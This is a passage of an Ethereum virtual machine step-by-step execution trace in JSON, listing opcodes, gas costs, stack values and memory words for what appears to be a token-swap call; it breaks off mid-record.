c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15128,"op":"SWAP1","gas":101836,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xd0038895780ca89cd8a752ed44f9180000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15129,"op":"JUMP","gas":101833,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0xd0038895780ca89cd8a752ed44f9180000","0x1507"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5383,"op":"JUMPDEST","gas":101825,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0xd0038895780ca89cd8a752ed44f9180000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5384,"op":"SWAP1","gas":101824,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0xd0038895780ca89cd8a752ed44f9180000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5385,"op":"POP","gas":101821,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5386,"op":"PUSH1","gas":101819,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5388,"op":"DUP3","gas":101816,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5389,"op":"PUSH2","gas":101813,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5392,"op":"DUP8","gas":101810,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5393,"op":"PUSH2","gas":101807,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5396,"op":"PUSH2","gas":101804,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5399,"op":"JUMP","gas":101801,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x3afb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15099,"op":"JUMPDEST","gas":101793,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15100,"op":"PUSH1","gas":101792,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15102,"op":"DUP2","gas":101789,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15103,"op":"PUSH1","gas":101786,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15105,"op":"NOT","gas":101783,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0x1518","0x2bda54fce7dbfc916a32","0x3e8","0x0","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15106,"op":"DIV","gas":101780,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9